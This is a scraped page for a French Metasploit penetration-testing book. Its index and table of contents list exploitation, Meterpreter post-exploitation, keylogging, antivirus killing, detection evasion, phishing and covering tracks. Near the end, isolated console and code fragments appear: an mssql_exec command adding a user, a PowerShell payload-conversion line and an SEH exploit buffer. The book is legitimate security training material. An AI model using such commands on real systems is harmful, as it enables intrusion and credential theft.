Encodeur x86/shikata_ga_nai 1
Enumration de service avance 1
Escalade de privilges 1
ESSID 1
Ettercap 1
Excutable avec backdoor 1
Execute_upload.rb 1
Exploitation 1
attaques cot client 1
attaques cot client
exploit Aurora pour Internet Explorer 1
exploits par format de fichier 1
exploits par le navigateur 1
brute forcing de port 1
cration dexploit
trouver d fadresse de retour 1
cration dexploit 1
contrle du SEH 1
fuzzing 1
mauvais caractres 1
restrictions du SEH 1
dfini 1
fichier de ressource pour 1
pentest simul 1
phase du PTES 1
pour Ubuntu 1
pour Windows XP SP2 1
Exploit Aurora pour Internet Explorer, 1, 2
Exploit-db, pour identifier de potentielles vulnrabilits 1
Exploit MailCarrier 1
Exploit, module 1
Exploit PRNG 1
Exploit Samba 1
Exploits de fichier
exploit de format de fichier 1
Exploits du navigateur 1
Exploit, section 1
Exploits par buffer overflow, portage vers Metasploit 1
ajout de randomisation 1
configuring exploit definition 1
dsosser lexploit existant 1
implmentation de fonctionnalits du Framework 1
module complet 1
supprimer le faux shellcode 1
supprimer le NOP slide 1
test de lexploit de base 1
Exploits rcriture, pour le SEH 1
Exploits stand-alone 1
Exploit windows/smb/ms08_067_netapi 1
Extensions priv 1
Extraire les hashs de mot de passe 1
F
Fasttrack, commande de lancement 1
Fast-Track, outil 1
attaque massive cot-client 1
dfini 1
gnrateur binaire--hex 1
injection Microsoft SQL avec...
attaque de chane de recherche 1
attaque de paramtre POST 1
injection manuelle 1
MSSQL Bruter 1
SQLPwnage 1
menu principal
attaques BLIND SQL Injection 1
attaques ERROR BASED SQL Injection 1
paramtre dattaque massive ct client 1
paramtre Metasploit Meterpreter Reflective Reverse TCP 1
Faux ngatifs, dans les scans de vulnrabilit 1
Faux shellcode 1, 2, 3, 4, 5, 6
Fentre 1
Fentre de gestion de la configuration du serveur SQL 1
Fentre VNC 1
Fentre xterm 1
Fichier de log des messages 1
Fichier lib/msf/core/exploit/http.rb 1
Fichier mailcarrier_book.rb 1
Fichier msf.doc 1
Fichier oledlg.dll 1
Fichier resource.rc 1
Fichier robots.txt 1
fichier set_config 1
Fichiers malveillants 1
fichier surgemail.exe 1
Fichier template.pdf 1
fichier text.rb 1
fichier .vmx 1
fichier WScript 1
File Transfer Protocol (FTP) 1
scanning 1
service 1
firewall Windows 1
Fonction client.framework.payloads.create(payload) 1
Fonction cmd_exec(cmd) 1
Fonction eventlog_clear(evt = \ 1
Fonction eventlog_list() 1
Fonction generate_seh_payload 1
Fonction is_admin?() 1
Fonction is_uac_enabled?() 1
Fonction make_nops() 1
Fonction MessageBoxA 1
Fonction payload.encoded 1
Fonction powershell_upload_exec 1
Fonction print_error() 1
Fonction print_line() 1
Fonction print_status() 1
Fonction service_(name)_ 1
fonction usage 1
format hexadcimal brut 1
Format PE (Portable Executale) 1
format petit-boutiste 1
Fournisseur de service WIDEOPENWEST 1
Foursquare, identifiants 1
Foursquare, service 1
Ftp_version, module, 1
Furr, Joey 1
Fuzzer 1
Fuzzing 1
G
Gates, Chris, 1
Gnrateur binaire--hex, outil Fast-Track, 1
Gnrateur de mdias infectieux (Infectious Media Generator) 1
Gestionnaire des tches, Windows 1
Google, pour identifier de potentielles vulrabilits, 1
H
Hadnagy, Chris, 1
Haystack 1
Heap 1
Heap spraying technique 1
HTTP (HyperText Transfer Protocol) 1, 2, 3, 4, 5, 6, 7, 8
man-left-in-the-middle attack 1
PUT, commande 1
PUT mthode 1
I
ICMP (Internet Control Message Protocol) 1
Identifiant postgres, dans une base de donnes PostgreSQL, 1
Identifiants 1
Identifiant serveur NT AUTHORITY\systme 1
Identifiants read-only (RO) 1
Identifiants read/write (RW) 1
Identifiants Windows 1
IDS (intrusion detection systems) 1, 2, 3, 4, 5, 6
Iexplorer.exe 1
IIS (Internet Information Server) 1, 2, 3
Image de disque ISO, VMware Player 1
IMAP (Internet Message Access Protocol) 1
Imitation de nom de domaine 1
Immunity Debugger 1, 2, 3, 5, 4
Incremental IP IDs 1
INJECTHERE, SQL injection 1
Injection diframe 1
Injection SQL 1, 2, 3, 4, 5, 6, 7
message derreur 1
instructions INC ECX 1
Instructions INT3 1, 2
interface Arduino 1, 2
Interfaces, pour Metasploit, 1
Internet Control Message Protocol (ICMP) 1
Internet Message Access Protocol (IMAP) 1
Intrusion detection systems (IDS) 1
Invite msf 1
Invite msf MS08-067 1
Invite msf pour exploit(ms08_067_netapi) 1
IPS (intrusion prevention system) 1, 2
Irb shell 1
J
Java Development Kit (JDK), attaque par Java applet, 1
jduck 1
K
KARMA 1
Karma.rc file 1
Karmetasploit 1
avoir un shell 1
configurer 1
lancer une attaque 1
rcupration didentifiants 1
Kelley, Josh 1
Kennedy, David, 1
Kerberos token 1, 2
Killav 1
L
Langage de programmation Ruby 1
Langage PureBasic 1
Languages assembleur 1
LAN Manager (LM) hashes 1
Linux system 1
dcharger les hashes 1
en tant que cible 1
Machine virtuelle Metasploitable 1
Listener 1
Listener handler 1
Listener netcat 1
LM (LAN Manager) hashes 1, 2
Logins anonymes, scanner/ftp/
anonyme 1
M
Macaulay, Shane, 1
Machines cible 1
Linux 1
paramtrage 1
Windows XP 1
configuration dun serve configuration serveur web surur web sur 1
cration dune application web vulnrable 1
mettre jour Back|Track 1
MS SQL server sur 1
Machine virtuelle Windows, scan, 1
Manipulation de registre, 1
Mauvais caractres 1
et cration dexploits 1
viter 1
McAfee antivirus 1
Mcanismes de protection 1
Melvin, John 1
Memelli, Matteo 1
Menu dexploit du navigateur, armitage, 1
menu Exploits 1
Menu principal du SET 1
Message derreur, injection SQL, 1
Metasploitable 1, 2, 3, 4, 5, 6, 7
Metasploit, exploit du navigateur, paramtre de cette mthode, menu
principal SET 1
Metasploit, exploits cot client, 1
Metasploit Express, vs. Pro 1
Metasploit Framework (MSF) 1
interfaces 1
interfaces
armitage 1
msfcli 1
msfconsole 1
terminologie 1
terminologie
msfencode 1
msfpayload 1
shell nasm 1
utilitaires 1
travailler avec les bases de donnes 1
Metasploit listener 1
Metasploit Pro, vs. Express 1
Meterpreter
augmentation de privilges 1
commandes pour 1, 2
capture de touches 1
postexploitation 1
screenshot 1
sysinfo 1
compromettre la machine virtuelle Windows XP 1
attaque MS SQL 1
brute-forcer le serveur MS SQL 1
scan de ports avec nmap 1
hashes de mot de passe
dcouvrir 1
passer 1
hashs de mot de passe 1
extraire 1
manipuler les API Windows avec ladd-on Railgun 1
module de postexploitation 1
pivoter 1
scripts 1
API 1
crer 1
hashdump 1
killav 1
migrate 1
packetrecorder 1
persistence 1
rgles 1
scraper 1
vue d'ensemble 1
se faire passer pour un autre grce au token 1
upgrader depuis une command shell 1
Mthode de conversion h2b 1
Mthode de lancement auxiliaire, 1
Mthode PUT, HTTP 1
mthode send_request_cgi 1
mthode UsePowerShell 1
Microsoft IIS, vulnerabilit dans les implementations WebDAV 1
Microsoft SQL, menu des outils dattaque, MSSQL Bruter 1
Microsoft SQL Server 1, 2, 3, 4, 5
attaquer 1
brute forcer 1
injection avec loutil Fast-Track
attaque par chane de requte 1
injection manuelle 1
MSSQL Bruter 1
paramtre dattaque POST 1
SQLPwnage 1
obtenir lexcution de commandes 1
scan cibl 1
sur Windows XP 1
Mitnick, Kevin 1
mixin Msf\\Exploit\\ 1
Mixins 1, 2, 3, 4
dfini 1
pour scripts Meterpreter 1
Mixin scanner 1
Mode dAuthentification Mode, Serveur SQL, 1
Modle data/templates/template.exe 1
Modlisation de menace 1
par phases dun PTES 1
pentest simul 1
Module hashdump de postexploitation 1
module keylog_recorder 1
Module portscan syn, 1
Modules 1
cration
lancer un shell pour l fexploit 1
cration 1
lancer lexploit 1
utiliser PowerShell 1
cration
compteurs 1
convertir depuis hex binaire 1
dfini 1
exploration 1
obtenir lexcution de commandes sur Microsoft SQL 1
rutilisation de code 1
Module scanner/ftp/anonymous, login anonymous 1
module scanner/ip/ipidseq 1
Module scanner/portscan/syn 1
Module scanner/portscan/tcp 1, 2
Module scanner/snmp/snmp_enum 1
Modules de postexploitation pour Meterpreter 1
phases dun PTES 1
module smb_login 1
module smb/psexec 1
module smb_version 1
Modules scanner/http 1
module ssh_version 1
module webdav_scanner 1
Mot de passe toor, dans la base de donnes PostgreSQL 1
Mot de passe vide 1, 2, 3
Mots de passes
hashes pour
dcouvrir 1
extraction 1
rcolte 1
MS08-067, exploit 1, 2, 3, 4, 5, 6, 7, 8, 9
Ms08_067_netapi, module 1, 2, 3, 4
MS11-006, exploit, 1, 2
Msfcli 1
MSFcli 1, 2
Msfconsole
commandes 1
info 1
set et unset 1
setg et unsetg 1
show auxiliary 1
show exploits 1
show options 1
show payloads 1
show targets 1
commandes
save 1
customiser msfconsole 1
lancer NeXpose 1
lancer nmap 1
MSFconsole 1, 2
MSFencode 1, 2, 3
MSFpayload 1
Msfpayloads
commandes 1
crer des binaires 1
msfvenom 1, 2
MSSQL Bruter, injection Microsoft SQL 1
MSSQL Bruter, paramtre, 1
Mssql_commands.rb, fichier, 1
Mssql_exec, module auxiliaire, 1
Mssql_login, module 1
Mssql_payload, exploit, and 1, 2
Mssql_ping, module 1, 2, 3
Mssql_powershell, module 1
Mssql_powershell.rb, fichier, 1, 2, 3
Mssql.rb, fichier 1, 2, 3, 4, 5
Mudge, Raphael 1
multi-encodage 1
multi-handler listener 1
Multi/handler, module, 1
Multi-handler, sessions Meterpreter, 1
multi/http/tomcat_mgr_deploy 1
Muts 1
N
Nano, CTRL-W shortcut 1
Nasm shell 1
Nasm_shell.rb utility 1
NAT (Network addresse Translation) 1
Nessus 1
bouton ajouter 1
commande nessus_connect 1
commande nessus_help 1
commande nessus_report_get 1
commande nessus_scan_new 1
commande nessus_scan_status 1
configuration 1
crer une politique de scan 1
fentre Nessus 1
format de fichier .nessus 1
Home Feed 1
importation des rapports depuis 1
Onglet Policies 1
Onglet Scans 1, 2
Onglet Utilisateurs 1
Page des plugins 1
plug-in Bridge 1
rapports dans 1
scan depuis Metasploit 1
Network addresse Translation (NAT) 1
NeXpose 1
Administration onglet 1
configuration 1
Edition communautaire 1
excution depuis msfconsole 1
importation de rapport depuis 1
Nouvel assistant de Site 1
Onglet accueil 1
Onglet des appareils 1
Onglet Vulnrabilits 1
nexpose_scan 1
Next SEH (NSEH) 1, 2
Nmap 1, 2, 3, 4
excuter depuis msfconsole 1
import des rsultats Metasploit 1
paramtre -Pn, nmap 1
scan 1
scan de ports avec 1
scan furtif 1
scan TCP furtif 1
No Execute (NX) 1
NOP (no-operation instruction) 1, 2, 3, 4
Notepad 1
Notepad.exe 1
Nouveau paramtre de base de donnes, gestion de SQL serveur
Studio Express 1
Nouveau paramtre de login, Fentre de proprits des utilisateurs 1
Nouveau paramtre de tableau gestion de SQL serveur Studio Express
1
NSEH (Next SEH) 1, 2, 3
Nslookup, utilisation de la rcolte dinformations passive, 1
NTLM (NT LAN Manager) 1, 2
NTLMv2 (NT LAN Manager v2) 1
NX (No Execute) 1
O
Onglet rapports
NeXpose 1
Onglet Rapports
Nessus 1
Opcodes 1
Open source intelligence (OSINT) 1
OpenSSH 1
Open_x11 scanner 1
Opt/framework3/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/
rpertoire, 1
Option de mise jour automatique windows XP 1
OSINT 1
OS X systme 1
dump les hashes sur 1
VMWare Player 1
outil event_manager 1
P
Packers 1
packer UPX 1
Paramtre de Mssql Injector 1
Paramtre du nombre de THREADS, 1
Paramtre LPORT 1
Paramtre -sI 1
Paramtre SMPIPE 1
Paramtre -sS, nmap, 1
Paramtre WEBATTACK_EMAIL 1
Pattern_offset.rb fichier 1
Pay = client.framework.payloads 1
fonction .create(payload) 1
Payload 1
Payload binaire MSF 1
payload.exe 1
payload generic/debug_trap 1
Payloads bas sur Microsoft Windows 1
payload shell_reverse_tcp 1
Penetration Testing Execution Standard (PTES), phases de 1, 2
analyse de vulnrabilit 1
exploitation 1
modlisation de la menace 1
postexploitation 1
rapport 1
relations de prengagement 1
techniques de rcolte 1
Pentest covert 1
Pentesting 1
Pentesting, voir aussi
pentest simul 1
Pentest overt 1
Perez, Carlos, 1
PID (process ID) 1
Pivot 1
avec Meterpreter 1
procd de 1
Pivoting 1
Plug-in --script=smb-check-vulns 1
Points darrts xCCs 1
portail captif 1
Porter des exploits vers Metasploit
exploits buffer overflow 1
ajout randomisation 1
configuration de la dfinition de l fexploit 1
dsosser un exploit existant 1
implmentation de caractristiques du Framework 1
module complet 1
supprimer une Slide NOP 1
supprimer un faux shellcode 1
tester un exploit de base 1
langage assembleur 1
rcriture dexploit du SEH 1
Ports dynamiques 1
Powershell 1, 2, 3
PowerShell 1, 2, 3
Processus explorer.exe 1
Processus lsass.exe 1
Processus spar, automigration vers, 1, 2
ProFTPD 1
projet POLYPACK 1
Q
Quick TFTP Pro 2.1 1
R
Raccourci F2 1, 2, 3
Raccourci F5 1
Raccourci F7 1, 2
Raccourci Shift-F9, dans Immunity Debugger 1
Rapid7 1
Rapport de phase dun PTES 1
RATTE (Remote Administration Tool Tommy Edition) 1
RDP (Remote Desktop protocol) 1
Rcolte dinformation
pentest simul 1
phase du PTES 1
rcolte active dinformation, port scanning 1
rcolte passive dinformation 1
rcolte passive dinformation
avec lookups 1
avec Netcraft 1
avec nslookups 1
scan cibl 1
scan cibl
FTP scanning 1
Pour serveurs Microsoft SQL 1
scanning de serveurs SSH 1
SMB scanning 1
SNMP sweeping 1
scanners presonnaliss 1
Regedit 1
Registres ESP 1
Relations de prengagement 1
Remote Administration Tool Tommy Edition (RATTE) 1
Remote Desktop protocol (RDP) 1
Remote Procedure Call (RPC) service, 1
Remplacement diframe 1
Rpertoire pentest/exploits/fasttrack/ 1
Rpertoire pentest/exploits/set/ 1, 2
Rpertoire root/.msf3/config, 1
Rpertoire root/.msf3/modules/auxiliary/fuzzers/ 1
Rpertoire scripts/meterpreter/ 1, 2, 3
rpertoire temporaire 1
requte GET HTTP 1
rsultats techniques 1
Rutilisation de code, et modules, 1
Reverse payload 1
reverse payload Meterpreter 1
reverse shell 1
reverse_tcp payload 1
Rle sysadmin 1
run_batch(batch) 1
run_host(ip) 1
run_range(range) 1
S
Scan cibl 1
balayage SNMP 1
pour les serveurs SQL Microsoft 1
scan de seveurs via SSH 1
scan FTP 1
scan SMB 1
Scan de port avec nmap 1
Scan de vulnrabilit 1
authentification pour open VNC 1
avec Nessus 1
configuration 1
cration dune politique de scan 1
excution dun scan 1
importation dun rapport depuis 1
rapports dans 1
scan depuis Metasploit 1
avec NeXpose 1
excution dans msfconsole 1
importation dun rapport depuis 1
avec NeXpose
configuration 1
dfini 1
pour des logins SMB valides 1
pour les serveurs open X11 1
utilisation des rsultats dans loutil Autopwn 1
scan ipidseq 1
Scanners personnalis, pour la rcupration dinformation, 1
Scan SMB (Serveur Message Block) 1
scan de vulnrabilit pour logins 1
Script getgui 1
Script run migrate 1
Script simple_tcp.rb 1
scripts init.d 1
Scripts, pour Meterpreter 1
Secure Shell (SS) XE 1
Squence dinstructions POP-POP-RETN 1
Serveur mail Postfix 1
Serveurs X11, scan de vulnrabilits pour 1
Serveur web, configuration sur Windows XP 1
set dinstruction JMP 1
SET (Social-Engineer Toolkit) 1
configuration 1
fichier config/set_config 1
Infections Media Generator 1
paramtres AUTO_DETECT 1
vecteur dattaque spear-phishing 1
vecteur dattaque Teensy USB HID 1
vecteurs dattaque web 1
rcolte didentifiant et de mot de passe 1
vecteurs dattaque web
attaque man-left-in-the-middle 1
Attaque par applet Java 1
attaque par web jacking 1
exploits web ct-client 1
Shell32.Dll, Windows XP SP2 1
Shellcode 1
shell interactif du SET 1
Shell, upgrade vers Meterpreter, 1
Simple Mail Transport Protocol 1
Simple Network Management Protocol (SNMP) 1, 2
Simulatation de pentest 1
attaque Apache Tomcat 1
attaque de services cach 1
customisation de msfconsole 1
effacer les traces dune 1
exploitation 1
modlisation de la menace 1
planning 1
postexploitation 1
identification des services vulnrables 1
scan du systme Metasploitable 1
stratgie de rcolte 1
Simulation de pentest 1
site Exploit Database 1
Site insecure.org 1
Site Social-Engineer.org 1
SMTP (Simple Mail Transport protocol) 1
SNMP (Simple Network Management protocol) 1
Socit RSA 1
Somme MD5 (checksum) 1
Sortie JavaScript 1
SQL Injector - paramtres doption dattaque par requte de chane
de caractres 1
SQLPwnage, injection SQL Microsoft 1
SSL (Secure Sockets Layer) 1
Stratgies de scan, liste des stratgies disponibles 1
Structured Exception Handler (SEH). Voir SEH (Structured
Exception Handler) fichier Subnet1.xml 1
switch Netgear 1
T
TCP (Transmission Control protocol) 1, 2, 3, 4, 5, 6
technique pass-the-hash 1
Tenable Security 1
Terminologie, dans Metasploit 1
Test white hat 1
TFTP (Trivial fichier Transfer protocol) 1
Touches, capture 1
Trivial File Transfer protocol (TFTP) 1
Twitter, module auxiliaire, 1
U
UAC (User Account Control) 1
Ubuntu 1, 2
UDP (User Datagram protocol) 1, 2, 3, 4, 5, 6
user32.dll 1
User Account Control (UAC) 1
V
VBScript 1
vecteur dattaque Aurora 1
Vecteur dattaque par spear-phishing 1
Vecteur dattaque Teensy USB HID 1
Vecteurs dattaque 1, 2
Vecteurs dattaque web 1
attaque man-left-in-the-middle 1
attaque par applet Java 1
attaque web jacking 1
exploits web cot client 1
rcolte didentifiants et mots de passe 1
VenueID 1
Ver Conficker 1
VMware Player 1
VNC (Interface graphique distante), obtenir une, 1
vncviewer 1
Vulnrabilit Adobe Collab.collectEmailInfo 1
Vulnrabilit de format de fichier 1
Vulnrabilit de NetWin SurgeMail 3.8k4-4 1
vulnrabilit de SurgeMail 1
vulnrabilit XSS 1
Vulnrabilit zero-day, Adobe Flash, 1, 2, 3
W
WebDAV 1
web-GUI du SET 1
Weidenhamer, Andrew, 1
Werth, Thomas, 1, 2
White, Scott, 1
Whois lookups, 1
Win2k8 1
Windows, Gestionnaire de tches 1
Windows Management Interface (WMI) 1
windows/smb/psexec 1
Windows UAC 1
Windows XP 1
attaque MS SQL 1
brute forcing MS SQL serveur 1
comme machine cible 1, 2
cration dune application web vulnrable 1
mise jour de Back|Track 1
MS SQL serveur sur 1
exploitation pour 1
scan de ports avec nmap 1
xp_cmdshell 1
WMI (Windows Management Interface) 1
X
X90, architecture Intel x86, 1
Xspy tool 1
Z
Zate 1
Couverture
Avertissement
Avant-propos
Prface
Remerciements
Introduction
Pourquoi faire un pentest ?
Pourquoi Metasploit ?
Un bref historique de Metasploit
propos de ce livre
Qu'y a-t-il dans ce livre ?
Une note sur l'thique
Les bases du test dintrusion
Les phases du PTES
Prengagement
Dtermination de la menace
Analyse des vulnrabilits
Lexploitation
Post exploitation
Le rapport
Types de tests de pntration
Test de pntration de type bote
blanche
Test de pntration de type bote
noire
En rsum
Les bases de Metasploit
Terminologie
Exploit
Payload
Shellcode
Module
Listener
MSFconsole
Dmarrer MSFconsole
MSFcli
Armitage
MSFpayload
MSFencode
Nasm Shell
Conclusion
whois lookups
Netcraft
NSLookup
Le scan de ports avec Nmap
Travailler avec des bases de
donnes dans Metasploit
Scan de ports avec Metasploit
Scan cibl
Scan de Server Message Block
la recherche de serveurs
Microsoft SQL mal configurs
Scan de serveurs SSH
Scan FTP
Balayage de SNMP (Simple Network
Management Protocol)
Perspectives
Le scan de vulnrabilit
Scan avec NeXpose
Configuration
Lassistant ddition de nouveau
rapport
Importer le rapport dans le
Excuter NeXpose dans msfconsole
Scan avec Nessus
Configurer Nessus
Crer une politique de scan Nessus
Excuter un scan Nessus
Rapports Nessus
Importer des rsultats dans le
Scanner avec Nessus depuis
Metasploit
Valider des connexions SMB (Server
Message Block)
Recherche daccs VNC ouverts
(Virtual Network Computing)
Scan pour trouver des serveurs X11
ouverts
Les joies de lexploitation
Msf> show exploits
Msf> show auxiliary
Msf> show options
Msf> show payloads
Msf> show targets
Info
Set et unset
setg et unsetg
save
Exploitation dune premire machine
Exploitation dune machine Ubuntu
Les payload pour tous les ports : bruteforcing de
ports
Conclusion
Meterpreter
Compromission dune machine virtuelle
Windows XP
Scan de ports avec Nmap
Attaque de MS SQL
Bruteforcing de MS SQL Server
xp_cmdshell
Commandes de base de Meterpreter
Capturer des keystrokes
Rcupration des noms dutilisateurs et des mots
de passe
Extraire les mots de passe hachs
Dcouvrir le mot de passe dun hash
Pass-the-hash
Escalade de privilge
Usurpation de ticket Kerberos
Utilisation de ps
Migration dun processus
Tuer un logiciel antivirus
Obtenir les hashes des mots de passe
du systme
Voir tout le trafic sur un ordinateur
cible
Scraping dun systme
Utiliser Persistence
Upgrade dun shell de commandes un shell
Meterpreter
Manipulation des API Windows avec ladd-on
Railgun
Conclusion
viter la dtection
Cration de binaires autonomes avec
MSFpayload
Multiencodage
Les packers
Exploitation utilisant les attaques ct client
Comment les exploits bass sur les
navigateurs fonctionnent-ils ?
propos des NOP
Utilisation dImmunity Debugger pour dcrypter
du shellcode NOP
Exploration de lexploit Aurora dInternet
Explorer
Envoi du payload
Conclusion
Metasploit : les modules auxiliaires
Aller plus loin
La bote outils du social engineer (SET, Social Engineer
Toolkit)
Applet Java
Exploits web ct client
Recueillir des noms dutilisateurs et
des mots de passe
Tabnabbing
MLITM (Man-Left-in-the-Middle)
Web-jacking
Tout rassembler dans une attaque sur
plusieurs fronts
Aller plus loin
FAST-TRACK
SQL Injector Attaque dune Query
String
SQL Injector Attaque par le
paramtre POST
Injection manuelle
MSSQL Bruter
SQLPwnage
Karmetasploit
Configuration
Recueil dinformations
Obtenir un shell
Conclusion
Construire son propre module
Exploration dun module Metasploit existant
Cration dun nouveau module
Powershell
Excuter lexploit shell
Crer powershell_upload_exec
Convertir Hex en binaire
Compteurs
Excuter lexploit
Crer votre propre exploit
Lart du fuzzing
Contrle du SEH
Contournement des restrictions du SEH
Mauvais caractres et excution du code
distance
En conclusion
Porter des exploits sur le framework Metasploit
Fondamentaux de langage assembleur
Registres EIP et ESP
Le set dinstruction JMP
NOP et slides NOP
Port dun buffer overflow
Dpouiller lexploit existant
Configurer la section exploit
Tester notre exploit de base
Implmenter des caractristiques du
framework
Ajouter de la randomisation
Retirer le slide NOP
Retirer le faux shellcode
Notre module complet
En conclusion
Scripts Meterpreter
LAPI de Meterpreter
Afficher une sortie
Appels API de base
Les mixins Meterpreter
Cration dun script Meterpreter
Conclusion
Simulation de pentest
Pr-engagement
Exploitation
Personnalisation de la console MSF
Postexploitation
Scanner le systme Metasploitable
Identifier des services vulnrables
Effacement des traces
Conclusion
Annexe A - Configurer les machines cibles
Installation et paramtrage du systme
Dmarrage des machines virtuelles Linux
Mise en place dun Windows XP vulnrable
Configurer un serveur web sur
Windows XP
Construire un serveur SQL
Mettre Back|Track jour
Annexe B - Aide-mmoire
Commandes MSFconsole
Commandes Meterpreter
Commandes MSFpayload
Commandes MSFencode
Commandes MSFcli
MSF, Ninja, Fu
MSFvenom
Commandes Meterpreter postexploitation
Index

Hacking, Securite Et Tests D'intrusion Avec Metasploit

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Hacking, Securite Et Tests D'intrusion Avec Metasploit

Uploaded by

Copyright:

Available Formats

Avertissement

Dans cet ebook, la taille de la police de caractre utilise pour le code a

yes The local host to listen on.

msf auxiliary(webdav_scanner) > set RHOSTS 192.168.1.242,

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,

Enter who you want to send email to:

Enter here: http://www.secmaniac.com/index.asp?

Enter here: http://www.secmaniac.com/index.asp?

Enter the IP Range to scan for SQL Scan (example 192.168.1.1-

Enter the path to the file you want to convert to hex:

root@bt:/opt/metasploit3/msf3# ifconfig at0 up 10.0.0.1 netmask

msf auxiliary(mssql_exec) > set CMD net user metasploit

h2b = "$s = gc C:\\Windows\\Temp\\#{var_payload};$s =

print_status("Uploading the payload #{var_payload}, please be

print_status("Converting the payload utilizing PowerShell

evil = lead + payload.encoded + near + nseh +

Start Exploit multi/handler for return connection

<opt> Provide Multiple PID for connections separated by

You might also like